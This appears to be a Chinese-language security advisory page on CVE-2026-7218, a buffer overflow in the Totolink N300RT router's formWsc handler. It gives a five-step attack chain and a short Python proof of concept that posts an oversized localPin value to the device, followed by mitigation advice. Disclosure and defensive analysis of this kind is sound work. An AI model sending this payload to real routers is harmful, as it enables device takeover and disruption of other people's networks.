IPBUF安全漏洞报告
English
CVE-2026-7218 CVSS 7.2 高危

CVE-2026-7218 Totolink N300RT缓冲区溢出漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7218
漏洞类型
缓冲区溢出
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Totolink N300RT

相关标签

缓冲区溢出CVE-2026-7218TotolinkN300RTRCEIoT安全

漏洞概述

Totolink N300RT路由器在3.4.0-B20250430版本中存在严重的缓冲区溢出漏洞。该漏洞源于libapmib.so组件中/boafrm/formWsc文件的is_cmd_string_valid函数未正确处理用户输入。攻击者可通过网络发送特制请求,操纵localPin参数触发溢出,从而在无需用户交互的情况下远程获取设备控制权,造成高机密性、完整性和可用性影响。

技术细节

该漏洞位于Totolink N300RT路由器固件版本3.4.0-B20250430中。漏洞根因在于共享库libapmib.so内,具体路径为/boafrm/formWsc的is_cmd_string_valid函数。该函数在处理来自Web接口的localPin参数时,未进行足够的长度校验,直接将用户输入拷贝至固定大小的栈缓冲区中。攻击者虽然需要高权限(PR:H),但可以通过构造特制的HTTP POST请求发送恶意数据,覆盖栈上的返回地址或关键数据结构,从而劫持程序控制流。由于攻击复杂度低且无需用户交互,这允许攻击者在远程执行任意Shellcode,进而获得设备的Root权限,窃取敏感数据、篡改配置或植入持久化后门,对网络安全构成严重威胁。

攻击链分析

STEP 1
侦察
识别网络中的Totolink N300RT设备,确认其固件版本为3.4.0-B20250430。
STEP 2
获取访问权限
利用高权限(PR:H)要求,获取Web管理界面的登录凭证。
STEP 3
漏洞利用
向/boafrm/formWsc端点发送特制的POST请求,在localPin参数中注入超长恶意载荷。
STEP 4
触发溢出
is_cmd_string_valid函数处理localPin时发生缓冲区溢出,覆盖返回地址。
STEP 5
执行代码
设备跳转到攻击者控制的地址,执行任意代码,完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/boafrm/formWsc" # Malicious payload to trigger buffer overflow in is_cmd_string_valid # Sending a large string to overflow the localPin buffer payload = "A" * 1000 data = { "localPin": payload, "submit-url": "/index.asp" } try: print(f"Sending exploit to {target_url}...") # Note: This exploit requires authentication (PR:H) response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") except Exception as e: print(f"Exploit failed: {e}")

影响范围

Totolink N300RT 3.4.0-B20250430

防御指南

临时缓解措施
在未修复漏洞前,建议关闭路由器的WPS功能,并将设备置于防火墙之后,仅允许受信任的IP地址访问管理后台,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表